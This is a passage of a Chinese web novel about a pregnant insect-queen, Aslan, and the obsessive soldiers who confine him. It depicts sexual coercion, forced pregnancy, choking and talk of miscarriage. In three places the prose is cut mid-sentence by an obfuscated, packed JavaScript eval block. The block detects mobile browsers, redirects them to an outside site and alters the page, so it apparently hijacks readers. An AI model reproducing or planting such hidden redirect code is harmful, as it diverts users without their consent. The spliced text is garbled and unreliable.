莱昂阴晴不定地问:“陛下,您的孕囊为什么如此鼓胀?” “您是不是背着我,怀孕了其他雄虫的虫卵?” 阿斯兰连眼皮都懒得抬一下,指尖绕着垂落肩头的白发,像个厌倦了一切的精致人偶。 “我又怀了两颗,你看不出来?奥瑟的,埃德蒙的,他们都逼迫我怀孕了。” “莱昂,你凭什么生气?” 阿斯兰抬起长腿,从埃德蒙身上走下来,来到莱昂面前,抬起他的下巴,冷笑道:“既然你们都想要我的孕囊,那就拿去啊。” 莱昂没有乱动,双手却摸上了阿斯兰的孕腹:“真的吗,妈妈?” 无所谓。 阿斯兰抬起湿漉漉的眼睛,苍白的脸上一点点浮现残忍的笑意:“真的啊,你为什么不把我的肚子剖开,把我的孕囊也割下来,装满你的卵,再把我咬碎,咬烂,把孕囊移植到一个更乖巧的斐涅尔人身上?” 反正他也不能生。 他不能产子。 他这个虫母,当不当有什么用? “那些蜜……哦对,你们还要我产的蜜啊,那你们不如把我绑起来,每天喂我一点东西别让我死,然后每天过来挤蜜,不比现在看我的脸色好?” 阿斯兰冰润的眼眸里层层叠叠泛起妖冶的涟漪,红润的唇贴在莱昂颈侧,“来吧莱昂,杀了我,再造一个虫母,要是不杀了我……” 他张开口,舌尖轻轻舔舐莱昂的大动脉,呢喃低语:“我就会吃了你们,你们这群恶心的、低劣的、应该碎成残渣的雄虫!!” 莱昂喉结狠狠一滚,对于眼前嚣张霸道的妈妈,他只有一个冲动。 把祂按在床上,狠狠艹淦。 让他那张只能吐出刻薄字句的嘴,只能叫出来,温言软语地求他别停。 “叫我的名字,妈妈。” “滚。” 然而,莱昂并没生气,反而笑出了尖利的犬齿,“妈妈,您好可爱。” 他一边笑着,视线却狠狠剐过一旁早就被亲卫压制的埃德蒙。 后者胸前,狰狞的伤口正以肉眼可见的速度愈合,新生组织的粉红在一片血污中刺目无比。 随即,莱昂的目落在阿斯兰火热的唇角。 有舔出来的红湿,也有斐涅尔人血液的惑蓝。 “妈妈,您的嘴唇实在是太美了,可惜,您唇上不是我的血。” “肮脏的东西,您不要吃进肚子里。” 暴怒的岩浆在莱昂胸腔里沸腾,莱昂压着火,用手指轻轻碾过虫母柔软糯腻的唇肉,温柔而缱绻,不敢用力。 “来人,把第四军团长拖去总军部惩戒营关禁闭,按军法处置,不准他再靠近王庭半步。” 莱昂顿了顿,复眼中的红光险要滴出血来,“尤其是,再靠近虫母陛下半步。” “是,妈妈!” “是!军团长!” 军虫们在长久的对妈妈的孺慕中养成了一个习惯——在报告之前,先问妈妈好。 埃德蒙被粗暴拖拽出去,他没有挣扎,只是痴痴地望着阿斯兰,直到身影消失在门外,他依然在重复:“妈妈……” 殿门合拢,莱昂挥退所有亲卫,脚步声逼近床榻。 他没有立刻发作,而是单膝跪了下来,跪在冷冰的地面上,仰视着阿斯兰绝美却毫无生气的脸。 “陛下,”他放柔声音,但在盛怒下仍显得嘶哑低磁,“只剩下我们了,我能不能亲吻您的——” 阿斯兰的尾巴毫无预兆地扬起,带着破风声,狠狠扇在莱昂的侧脸上。 “啪!” 清脆的响声在空旷的寝殿里回荡,莱昂的脸被打得偏了过去,冷白的皮肤上迅速浮现一道红痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248835|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他缓缓转回头,脸上没有任何被冒犯的怒意,反而深吸一口气,声音激动兴奋,呼吸明显粗哑起来:“……谢谢妈妈。” 阿斯兰的黑瞳里终于有了一丝波动,很是厌烦:“是吗?那再来一下?” 尾巴再次扬起,更重地抽过去。 “啪!” “谢谢妈妈。” “啪!” “谢谢妈妈。” 一次,两次,三次……阿斯兰像是找到了一个无聊的发泄口,用尾巴反复抽打着这位叱咤星海、令无数敌人闻风丧胆的军团长的脸。 莱昂跪得笔直,不闪不避,每挨一下,就低声说一句“谢谢妈妈”,仿佛那不是羞辱,而是恩赐。 他的脸颊很快红肿起来,嘴角甚至渗出一丝血迹。 “够了!”阿斯兰终于停下,尾巴烦躁地拍打着床褥,“你是受虐狂吗?” “不是。”他说,“我只是……很高兴您愿意碰我。” 阿斯兰的尾巴僵在半空。 “哪怕是打我也好。”莱昂继续说,声音很低,跪在床边,“哪怕是惩罚我也好,只要您愿意碰我,愿意让我在这里,我就心满意足了。” 他捧起了阿斯兰的双腿,头低下去,亲吻他因为孕期而越发莹润的脚趾。 阿斯兰忽然觉得很累,他的尾巴垂落下来,无力地搭在床边。 “滚。”他苍白的脸颊薄红,更显得昳丽惊人,也淡漠刺骨,“滚出去,我看到你就恶心。” 莱昂没有动。 “我说滚!” 阿斯兰伸出手,狠狠扇向莱昂的脸! 莱昂的脸被打得歪向一旁。 然而下一秒,阿斯兰的手腕就被莱昂滚烫的掌心攥住。 湿热的唇舌毫不犹豫地含住了阿斯兰未来得及收回的指尖,阿斯兰指尖一颤,试图抽回,却被更用力地吮吸住。 莱昂半阖着眼,舌面粗糙的质感摩擦过虫母的指腹,将属于他自己的血腥气,染在阿斯兰的皮肤上。 “……” 忽然,莱昂的呼吸明显不对了。 他跪着的姿势也变了,腰背微微绷紧,仿佛在抵抗来自体内的巨大压力。 阿斯兰冰凉厌烦的表情一滞。 他垂眸,看见莱昂颈侧暴起的青筋,感受到空气中原本暴戾的信息素正在发生危险的转变——依然强势,却混入了黏稠而甜腥的渴望。 这股味道不同于斐涅尔人平时战斗时的侵略性,它更原始,更直接,更……不容抗拒。 不是愤怒。 是发情! 这个认知像子弹,猝不及防地击中阿斯兰的思绪。 莱昂,这个永远像一座压抑火山、用铁血纪律和冷酷杀意武装自己的总军团长,竟然……在这种时候,被他几下抽打,轻易地诱发了最深层的本能。 荒谬!恶心! “你别碰我的手,脏。” 阿斯兰想抽回手,想一脚踹开对方。 但被无数药物压抑的虫母本能,似乎也被这浓烈到近乎实质的求偶信息素撩拨了一下。 孕期的身体本就敏感异常,这让他感到一阵眩晕。 莱昂终于松开了他的手指,但嘴唇却沿着他的手腕内侧向上吻去。 他抬起头,复眼里的猩红浓得化不开,红肿的指痕和嘴角的血迹,非但没有削弱他的气势,反而给那张冷峻的面孔,增添了一种濒临崩溃的疯狂与性感。 “妈妈……”他声音沙哑得不像话,带着浓重的鼻息,每一个音节都滚烫,“您感觉到了,对吗?” 他盯着虫母的孕肚,双眸渐渐失控。 “是您先碰我的,妈妈。” 莱昂混合着情/欲的低语如同野兽的嘶鸣,钻入阿斯兰的脑海。 “是您打了我,是您让我变成了这样。” 他低下头,鼻尖贪婪地嗅着阿斯兰手腕的芳香,那里是妈妈的温软甜蜜。 “您必须要了我。” “您还想逃吗?” 11. 第 11 章 “我早就该这么做了,把您锁起来,让您只能看到我,只能闻到我的气味,只能……” 他的声音因为激动和情/欲的灼烧而断续,“只能孕育我的虫卵。” 阿斯兰被推到柔软的被褥间,孕肚的重量让他一时难以翻身。 而莱昂山峦般的身影已经压了下来。 雄性斐涅尔人的信息素异常有攻击性,阿斯兰的身体终究无法完全屏蔽如此强势而直接的求偶信号。 “看着我,妈妈。” 莱昂双手撑在他头侧,将他困在方寸之间,红肿的脸颊上指痕宛然,眼神却亮得骇人,“看看现在是谁在掌控您。” 阿斯兰急促地喘息着,黑瞳里倒映着莱昂疯狂的模样。 梅利亚就在一旁难过地看着,却不能说一句不可以——虫母本来就是全体虫族的资产,莱昂这么做无可厚非。 若不是因为虫母近身侍卫的身份,梅利亚会把莱昂撕成碎片。 莱昂低下头,要去吻虫母的嘴唇。 但在双唇即将碰触的瞬间,阿斯兰猛地偏过头,那一吻落在了他的唇角。 “莱昂,你今天碰了我,明天,我就会让你亲眼看着,我是怎么把这些不该存在的卵,从我身体里弄出去的。” 莱昂的动作猛地僵住,沸腾的血液似乎瞬间冷却了一半。 “妈妈……” 阿斯兰迎着他的目光,缓缓地,勾起一个没有温度的笑容,手轻轻覆上自己高耸的腹部:“你知道的,我做得出来。而你,拦得住我一次,拦不住我每一次。” “陛下,别冲动,我不做就是了。”莱昂闭了闭眼,“但您需要照顾,我会调一队最温顺的蝶族侍从来照料您的饮食起居,您必须进食,为了您自己,也为了……” 他的目光沉沉地落在阿斯兰的腹部,“虫族的未来。” 阿斯兰冷笑:“让他们进来做什么?像埃德蒙那样,趁我睡着往我肚子里塞卵?” 莱昂的眼神暗了一瞬:“不。只是照顾您的饮食起居,蝶族天生擅长服侍,他们的信息素有安神的效果,能缓解您孕期的焦虑。” 阿斯兰没有说话,莱昂等了几秒,见他没反对,便站起身,向门口走去。 门打开,他低声吩咐了几句。片刻后,三道身影鱼贯而入。 “参见陛下。”他们跪在床边,声音轻柔得像春风。 阿斯兰看着他们,眼底没有任何波澜。 他们站起身,开始忙碌起来,有人端来温热的食物,有人点燃安神的香草,有人捧来柔软的衣袍,动作轻柔而熟练,像练习过千百遍一样。 他们确实如莱昂所说,温顺、恭敬、细致入微,个个容貌俊美,举止轻盈,带着蝶族特有的甜腻香气。 其中一个留在床边,轻轻抬起手,试探着问:“陛下,我帮您揉一揉肚子好不好?孕后期容易胀气,蝶族的手法可以缓解。” 阿斯兰冷冷看着他。蝶族那双眼睛温柔而清澈,里面没有那种让他厌恶的贪婪和占有欲,只有纯粹的关切——至少看上去是。 “随你。” 蝶族得到允许,手轻轻落在他隆起的孕肚上,他的手温热而柔软,掌心贴着肚皮,缓慢轻柔地按摩起来,从下往上,从左到右,比起按摩,倒像是抚摸。 阿斯兰的呼吸渐渐平稳下来。 那按摩确实很舒服,他的身体在孕期的敏感被这种温柔的触碰抚慰着,紧绷的肌肉一点点放松下来。 “陛下真美。”那蝶族轻声说,眼睛温柔地注视着他,“怀孕的陛下更美。” 另一个蝶族也凑过来,跪在床边,伸手轻轻抚摸他的尾巴:“陛下的尾巴也好看,软软的,滑滑的,饱满地孕育着生命,是斐涅尔人的骄傲……” 阿斯兰的尾巴颤了颤,却没有躲开。 那蝶族的手法同样轻柔,顺着尾巴的弧度一路抚摸下去,指尖偶尔划过尾尖,阿斯兰浑身酥麻。 第三个蝶族跪在他身后,开始梳理他的银发,动作轻柔,用指尖一缕一缕地梳开,偶尔按摩一下头皮。 阿斯兰闭上眼睛,这种感觉……太奇怪了。 他被三个俊美的蝶族围着,被温柔地抚摸、按摩、梳理,他们的触碰没有任何侵略性,但这一切都是因为他的肚子。 因为里面有三枚虫卵。 因为他是虫母。 一个念头忽然冒出来。 如果……如果他配合他们呢? 如果让莱昂看见,他的蝶族侍从在“服侍”虫母时,做了什么不该做的事,莱昂会不会暴怒?会不会失控?会不会—— 他的手攥紧了他的脖子? 他的尾巴抽向他的脸? 或者……直接打向他的肚子? 阿斯兰的心跳漏了一拍,激动地浑身都颤抖起来了。 系统判定他不能流产,但如果是被雄虫打掉的呢?如果是在冲突中意外流产的呢? 阿斯兰垂下眼,掩住眼底一闪而过的兴奋。 “你叫什么?”他问正在按摩他肚子的蝶族。 那蝶族受宠若惊地抬起头:“回陛下,我叫艾瑞斯。” “艾瑞斯。”阿斯兰重复了一遍,声音比刚才柔和了几分,“你的手法很好。” 艾瑞斯的眼睛亮了起来,脸颊泛起淡淡的红晕:“能服侍陛下是我的荣幸……” 阿斯兰的嘴角弯了弯,弧度很浅,他抬起手,指尖轻轻划过艾瑞斯的脸颊。 艾瑞斯整个人僵住了,呼吸都忘了:“陛下……” 阿斯兰没有停下,他的指尖从艾瑞斯的脸颊滑到下颌,轻轻抬起他的脸,让他直视自己。 “你这么好看,”他的声音很轻,带着一丝若有若无的笑意,“为什么之前没见过你?” 艾瑞斯的眼眶都红了,激动得声音发颤:“臣……臣是蝶族,平时不常在王都……这次是莱昂军团长特意召来的……” “特意召来的。”阿斯兰重复着,目光柔和得像春水,“他倒是有心。” 他的手从艾瑞斯脸上移开,转而落在自己的小腹上,隔着那层薄薄的皮肤,感受着里面三枚虫卵的脉动。 “你们说,这三枚卵,哪一枚会最漂亮?” 三个蝶族面面相觑,不知如何回答。 “臣……臣觉得,陛下的孩子都会很漂亮。”艾瑞斯小心翼翼地说。 阿斯兰笑了。 那笑容很淡,却让三个蝶族同时看呆了眼,虫母平时太冷,冷得像冰雕,偶尔笑一下,就像冰层开裂,露出下面深藏的春光。 “你倒是会说话。”阿斯兰说,目光重新落回艾瑞斯脸上,“过来。” 艾瑞斯膝行上前,心跳快得像要从胸腔里蹦出来。 阿斯兰抬手,扣住他的后颈,将他拉向自己。 然后,他微微侧头,在艾瑞斯脸上落下一吻。 轻得像幻想,却让艾瑞斯整个人都石化了。 另外两个蝶族瞪大了眼睛,呼吸急促起来。 阿斯兰松开他,目光转向另外两个:“你们也过来。” 他们膝行上前,虔诚地跪在他面前,仰着脸,像等待恩赐的虔诚信徒。 阿斯兰低下头,在第二个蝶族的唇角落下一吻,然后是第三个。 三个蝶族都傻了,脸上泛着不正常的潮红,信息素控制不住地往外溢——清甜的、温柔的、带着抑制不住的渴望。 “陛下……”艾瑞斯的声音哑了,“陛下,臣……” 阿斯兰靠回床头,姿态慵懒而餍足:“继续,像刚才那样,揉我的肚子,用力一点,我不怕疼。” 艾瑞斯深吸一口气,颤抖着手重新贴上他的孕肚,继续按摩起来,但这一次,他的手法明显不如刚才稳定,指尖偶尔会轻轻颤抖,呼吸也乱了几拍。 另外两个蝶族也继续着刚才的动作——抚摸尾巴,梳理发丝。 但他们的眼神已经变了,从纯粹的虔诚变成了虔诚中混杂着渴望,那种压抑不住的、想要更多的渴望。 阿斯兰闭上眼睛,任由他们服侍。 他在等。 等莱昂进来,看见这一幕。 寝殿的门果然被推开了,莱昂走进来,手里端着一盘新切的星果。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248836|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步在看见床上的场景时顿住,脸上的表情凝固了一瞬。 三个蝶族跪在床边,围着阿斯兰。艾瑞斯的手贴在阿斯兰的孕肚上,另一个握着阿斯兰的尾巴,第三个还在梳理他的发丝。而阿斯兰靠在床头,姿态慵懒,唇角含笑,脸上还带着餍足的微红,似乎很是享受他们的服侍。 空气安静了几秒,然后,莱昂把果盘放在桌上,大步走过来:“出去。” 三个蝶族同时抬头看向他,却再没了刚才的恐惧。 艾瑞斯:“我们得到了妈妈的爱,我们不走,我们要留下。” “对,你说了不算,我们听妈妈的话。” “我说滚出去。”莱昂的声音更冷了,“现在。” “都留下。”阿斯兰缓缓坐直身体,扯了扯嘴角:“莱昂军团长要是生气就冲我来,是我留下他们的,你是舍不得动我?还是怕动了你的虫卵?” 莱昂没有回答,只是走到窗边,巨大的落地舷窗外,隐约可见第七军团部分精锐正在下方广场列队巡逻,纪律严明,气势肃杀。 “妈妈,您错怪我了,我都舍不得,我宁可为您而死,也不要您出事。” “放屁。”阿斯兰忽然笑了起来,那笑容艳丽却毫无温度。他踢开那三个蝶族,赤足走下床榻,主动靠近莱昂。 在莱昂略带愕然的目光中,阿斯兰伸手,冰凉的手指抚上莱昂的脖子,然后,猛地收紧! “看着我!”阿斯兰凑近他耳边,声音压得极低,却带着蛊惑般的恶意,“让你的士兵都看着,他们的军团长,是怎么被他们神圣的虫母陛下,像掐死一条狗一样掐着脖子!” 他手上用力,指甲嵌进莱昂的皮肤,莱昂没有反抗,只是垂眸看着他,眼神深情难辨。 阿斯兰拽着他,迫使高大的军团长微微俯身,两人以极其怪异的姿态暴露在巨大的舷窗之后。 下方广场上巡逻的士兵们似乎察觉到了什么,纷纷抬头。 阿斯兰对着下方,高声用能被虫族听觉捕捉到的音量说道:“看啊,这就是你们追随的军团长,像条狗一样在我手里垂死挣扎,生气吗?过来啊,救他啊!” 他期待着,期待着下面的士兵愤怒,骚动,为他们的长官不平,甚至可能因此攻击他这个“失德”的虫母,让他流产。 然而,他期待的一切都没有发生。 死寂。 可怕的死寂只持续了短短一瞬。 随即,像是往滚烫的油锅里滴入了冷水,下方轰然炸开!狂热到癫狂的骚动! 所有能够看到这一幕的军虫,无论是正在巡逻的,还是从营房闻声探头的,他们的复眼死死定在舷窗后那个挺着高耸孕肚的白色身影上。 下一秒,骚动变成了整齐划一的呐喊,如同海啸般冲天而起,瞬间淹没了整个皇宫外围: “妈妈——!” “妈妈!求您!掐我!求您掐我!” “看我!妈妈看看我!我比他更听话!” “妈妈!踩我!践踏我!” “选我!选我啊妈妈!” 声浪几乎要震破舷窗。无数虫族疯狂地试图涌向宫殿下方,秩序荡然无存,他们推搡着,嘶喊着,伸长手臂,仰着脸,复眼里全是扭曲的崇拜和疯狂的祈求,只为了吸引窗边那抹身影一丝一毫的注意。 他们不在乎被掐的是谁,他们只嫉妒那个能被虫母触碰的对象! 阿斯兰僵住了。 他缓缓转过头,看着下方那片陷入集体狂热、宛如地狱绘卷般的场景,看着那些因为极度渴望而扭曲的面孔,听着那震耳欲聋、却只让他感到无边寒意的“妈妈”的呼喊。 他非常茫然。 而被他掐着的莱昂,此刻却缓缓地,低沉而笃定地在他耳边轻轻说道: “看到了吗,妈妈?” “您生来就是被仰望、被渴望、被疯狂爱着的。” 莱昂抚摸着阿斯兰的手腕,慢条斯理地说:“您只能孕育我们的卵。” “很快,您会生下我的孩子,请您珍惜您的自由,因为在那之后,您会再次怀孕生产,永无止境。” 12. 第 12 章 窗外的声浪仍在持续,那些扭曲的、充满渴望的面孔贴在眼前,形成一幅荒诞而恐怖的景象。 舷窗外的狂啸如同永不停歇的海浪,在虫巢的万顷王宫上方回荡,拍打着阿斯兰的耳膜,也拍打着他的心。 那一声声癫狂的“妈妈”,是无数锁链穿透虚空、缠绕上来的触手,要将他拖入一个只有奉献与孕育的永恒深渊。 阿斯兰掐着莱昂脖子的手一点点冷下去,顺着血管,冻结了他的手臂,他的肩膀,最后是他的心脏。 莱昂在窒息的绝境里,情绪和别的什么,居然齐齐达到了这次发情期的第一次高/潮。 “您…明白…了吗…妈妈?” 莱昂说话断断续续,用低沉嘶哑的嗓音,用居高临下的姿态,最恭顺的语气说: “您的存在本身,就是规则。 您的触碰,无论以何种形式,都是恩赐。 我们渴望的,从来不是公平或尊严,是您。” 阿斯兰猛地松开了手,后退一步,赤足踩在冰冷的地面上,高耸的孕肚让他动作有些笨拙。 莱昂脖子上留下了几道浅浅的红痕,在军装领口若隐若现,非但不显得狼狈,反而像是雄虫无声的炫耀。 阿斯兰累了,他不再看莱昂,也不再看窗外那片疯狂的景象,只是缓缓地转过身,背对着一切。 那三个蝶族侍从还跪在原地,脸上红潮未退,眼中痴迷更盛。 虫母刚才的轻轻一吻如同最烈性的毒,已深入他们的骨髓。 此刻,虫母背对他们沉默的姿态,在他们眼中也成了神圣不可侵犯的孤高。 “莱昂。” 阿斯兰的声音响起,有种过度情绪爆发后的虚浮,却又冰冷。 “我在,陛下。”莱昂上前一步,距离恰到好处,是一个既能随时触碰,又不会立刻引发抵触的范围。 “你赢了。”阿斯兰说,“你用他们的疯狂,证明了我的徒劳。” “这不是输赢,妈妈。”莱昂的声音低沉下来,试图安抚的语调,“这是事实。您接受它,对您,对所有人,都好。” 阿斯兰转过身,黑眸看着莱昂,却像透过他在看更庞大而无可名状的某些东西。 “接受什么?接受我是一件物品,一个温床,一个永远无法停止孕育的容器?” 莱昂的喉结滚动了一下:“您是虫母,是起源,是恩典,是我们存在的意义。孕育不是惩罚,妈妈,是您的权能,您的权力,您用来操控全部斐涅尔人的工具,您为什么就是想不明白?孕育是您的——” “是我的诅咒。”阿斯兰打断他,嘴角扯起起,“而你,莱昂·伦图尔,第七军团长,你最想要的,不仅仅是虫族的未来,对吗?你想要的是我接受,是我心甘情愿地躺在你们为我打造的笼子里,生下你的,或者其他什么虫的卵,然后对你微笑?” 莱昂沉默了。他眼底翻涌着占有欲、责任,以及被戳破隐秘心思的锐利。 他无法完全否认。 “妈妈,您所有的反抗,所有的尖刺,在我们眼中,不过是妈妈偶尔的任性,可以容忍。” 阿斯兰的目光落在自己隆起的腹部,手轻轻覆上去。他抬起眼,看向莱昂,那眼神让莱昂的心脏莫名一紧。 可是阿斯兰什么都没说,他走向柔软的大床,侧身躺下,背对着莱昂和梅利亚,拉过丝被盖到腰间,银发铺散在枕上,只留下一个孕育着生命的轮廓。 “我累了。”他的声音从被子下传来,闷闷的,“让那些蝶族……或者谁都好,按你说的,来照顾我吧。告诉外面的人,别吵。” 莱昂走到床边,伫立良久,目光描摹着阿斯兰的背影线条。 他看着阿斯兰骤然收敛所有尖刺的背影,胜利的滋味并没有预期中的甘美,反而涌起说不出的窒闷和不安。 阿斯兰的顺从比任何反抗都更让他心惊。 不管怎么样,他必须时刻警惕,守住他的虫母,守住虫族的未来,也守住自己那份日益失控、名为占有的渴望。 莱昂抬手慢条斯理地整理了一下被弄乱的领口,目光沉沉地落在阿斯兰苍白的脸上:“陛下,您需要进食和休息。蝶族会留下照顾您,这是命令,为了您和虫卵的健康。” “梅利亚,”阿斯兰的声音再次响起,“你也出去。” 梅利亚浑身一震,深深低下头:“……是,陛下。” 寝殿内彻底安静下来,窗外的喧嚣不知何时也渐渐低了下去,或许是莱昂之前下达了命令,又或许是出于对虫母的孕期关怀,他们安静下来,各司其职。 阿斯兰缓缓睁开了眼睛,坐了起来,那双漆黑的眸子里,先前的空洞褪去,取而代之的是一种极端冷静的幽光。 他的手依旧搭在腹侧,指尖感受着里面三枚虫卵强壮的生命脉动。 所以呢? 他的意志不被理解,只会被扭曲为挑逗或恩赐。 他的反抗没有出路,因为每一次反抗都在加固束缚他的身份枷锁。 他该怎么办? 他能怎么办? 或许,唯一的出路,只剩下那一个了……那个他从未想过真正付诸实施,但此刻看来,或许比现在这样无休止地循环下去,要好得多的选择。 如果不再反抗孕育呢? 如果彻底拥抱它,利用它呢? 不再流产,不再逃离,那已经被证明是死路。 他要的是……掌控。 以虫母的身份,掌控这具身体,掌控这些狂热的“爱”,甚至……掌控那些试图掌控他的人。 莱昂想要他“心甘情愿”? 好。 他就给他们看一场,最完美、最驯服、最符合他们一切期待的,“虫母”的演出。 而演出落幕时,谁才是真正的囚徒,尚未可知。 阿斯兰的唇角,在无人看见的阴影里冰冷地勾了一下。 艾瑞斯小心翼翼地抬起头,脸上还带着激动的红晕,他膝行几步,想要再次靠近:“陛下,您是否需要我继续为您按摩?” 阿斯兰靠着墙壁,双臂环抱住自己高耸的腹部,银发如瀑般垂下,遮住了他所有的表情:“过来。” 艾瑞斯几乎是匍匐着过来,双手捧起一枚果子,递到阿斯兰面前,声音因激动而颤抖:“陛下,请用。” 阿斯兰没有接,只是张开了嘴。 艾瑞斯会意,将果子喂到他嘴边。 阿斯兰咀嚼,吞咽。果肉甘甜,汁水丰沛,但他尝不出任何味道。 他只是需要维持这具躯体的运转,直到他等到死遁的机会。 不过在那之前,他要报复一下。 “艾瑞斯,你留下来。” 三天。阿斯兰要留他三天。 * 阿斯兰让艾瑞斯成为娈臣的消息不胫而走,瞬间点燃了所有斐涅尔人的嫉妒与愤怒。 一个低等蝶族,仅仅因为容貌尚可、服侍殷勤,竟能独得虫母青睐,被锁在寝殿“宠爱”三日?这对于无数渴求虫母垂青而不得的高阶雄虫而言,是难以言喻的羞辱,更是对森严等级制度的公然挑衅。 第四天清晨,第一个发难者果然如阿斯兰所料,踏入了这座华丽的囚笼。 宰相赫里安,虫族社会文官体系的实际掌控者,以智慧、克制与对传统的恪守闻名。 此刻,这位总是举止优雅得体的雄虫,却罕见地失了从容。 他银灰色的眼眸深处翻涌着愠怒,视线扫过跪在阿斯兰脚边,正为虫母擦洗孕肚的艾瑞斯。 “陛下,”赫里安的声音依旧保持着惯有的沉稳,但尾音却有一丝颤抖,“请您解释。” 阿斯兰懒洋洋地靠在软垫上,任由艾瑞斯擦一下,亲一下。 他甚至没有抬眼去看赫里安,只是漫不经心地拨弄着自己另一只手手腕,上面有一条由稀有软金打造的细链,那是他让艾瑞斯戴上的,是来自于十六军团长的生日礼物。 赫里安看见那条细链,心里说不出的愤怒。 “解释什么?”阿斯兰微微侧头,银发滑落肩头,露出颈侧一片尚未完全消退的浅淡痕迹,“解释我宠幸了谁?我需要向你汇报我的私事吗,宰相阁下?” 赫里安下颌的线条瞬间绷紧,他向前一步,属于高阶虫族的威压不自觉流露,空气骤然变得沉重:“臣不敢过问陛下私事。但低贱的蝶种血脉稀薄,信息素低劣,不能侍奉陛下,玷污陛下圣洁,扰乱帝国秩序,应该处刑杀死。” 阿斯兰终于抬起眼,那双总是盛着冰冷与厌倦的黑瞳,此刻却漾开笑意,像是听到了极其有趣的笑话。 他轻轻抚摸着艾瑞斯的头发,指尖点了点自己的小腹,“我这里,怀着三位高贵雄虫的虫卵,日日夜夜被监控,像个珍贵的孵化器。宰相阁下,你告诉我,什么是圣洁?” 他缓缓站起身,一步步走向赫里安。 孕肚的弧度在轻薄丝袍下清晰可见,像是软弹的果冻,在袍子下面,是被布料遮挡住的不可说处。 睡袍只凸出了虫母庞大圆润的孕腹,其余的,什么都看不到。 他在赫里安面前停下,仰起脸,直视着对方那双压抑着痛苦与风暴的复眼, “至于他,”阿斯兰微微侧头,示意身后的艾瑞斯,“我留他在身边,因为他听话,因为他让我暂时不那么恶心这里的一切。怎么,你连我这最后一点微不足道的选择,也要剥夺吗?” “陛下!”赫里安的声音终于出现裂痕,那七年如一日维持的冷静表情彻底碎裂,露出下面鲜血淋漓的痛苦与不甘,“我在您身边陪伴了七年!七年!我处理政务,平衡党派,为您、为整个族群殚精竭虑!我从未奢求过您像对莱昂、对奥瑟、对埃德蒙那样……可您的心,您的目光,没有有一刻真正停留在我身上!为什么?为什么宁可让这种低等种碰触您,都不愿意……不愿意看我一眼?” 阿斯兰静静地看着他,看着这个以理智著称的雄虫眼中滚动的液体,那应该不是眼泪,虫族极少流泪,那只是情绪极端波动的表现。 “赫里安,你说你陪伴我七年,为我殚精竭虑。那我现在给你一个选择。” 他微微前倾,压低了声音,确保只有赫里安能听见:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248837|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱上我,真正的、只效忠于我的爱。然后,背叛你背后那些错综复杂的雄虫党派,背叛你一直维护的所谓秩序。帮我离开这里,帮我摆脱这一切。作为代价……” 阿斯兰的手,轻轻覆上自己高耸的腹部,“……我可以孕育你的卵,我甚至可以把自己的第一次给你。” 赫里安知道。 阿斯兰提出的,不仅仅是一个诱惑,更是一个将他拖入万劫不复深渊的陷阱。一旦答应,他将众叛亲离,成为所有雄虫的敌人,甚至可能被族群唾弃。 而阿斯兰……他太了解这位冷情冷性的虫母了,阿斯兰一心想要自由。 那恰恰是虫族最不能给他的东西。 巨大的诱惑与更巨大的恐惧撕裂了他。 七年暗藏的倾慕,对权力地位的眷恋,对族群责任的认知,对阿斯兰那不可预测性的畏惧……这一切在他脑中疯狂交战。 最终,对失去现有一切的恐惧,对未知风险的抗拒,或许还有一丝对阿斯兰是否真会履行承诺的深深怀疑,压倒了一切。 赫里安缓缓摇了摇头,“陛下,这会让整个帝国陷入混乱。” “呵。”阿斯兰发出一声极轻的嗤笑,收回了手,“那就滚吧,赫里安。继续去当你的好宰相,我的事轮不到你来置喙。至于艾瑞斯,他留在这里。谁敢动他,就是与我为敌。” 阿斯兰闭上眼,挥了挥手,姿态是拒人千里的厌倦,“你可以走了。” 赫里安站在原地,看着阿斯兰冷漠的侧脸,又看了看跪在床边、低眉顺眼却难掩得色的艾瑞斯,巨大的痛苦和失落几乎将他淹没。 “为什么……您对其他王夫都温顺爱护,却要和我讲这么多条件?” 赫里安俊美的面部轮廓开始扭曲,虫化的特征逐渐显现——复眼闪烁的冷光,口器细微的颤动,以及缓缓从生殖腔中伸出的、带着莹蓝色光泽的排卵管。 “您总是这样,用最温柔的语气,说着最残忍的话。” 赫里安的排卵管轻轻抵在阿斯兰的肚皮上,那里已经孕育着三枚珍贵的虫卵。 “您明知道我不可能背叛整个族群,却还要给我这样的选择。您是在测试我的忠诚,还是在寻找一个处决我的借口?” 阿斯兰被迫仰起头,银发如瀑布般散落在软枕上,软红的唇角裂开,那是一个讽刺的笑。 “你比低等种更虚伪,赫里安。” “随您怎么说。” 赫里安的排卵管开始释放信息素,一种专门为虫母孕期调制的安抚性费洛蒙,温柔地包裹住阿斯兰高耸的孕肚: 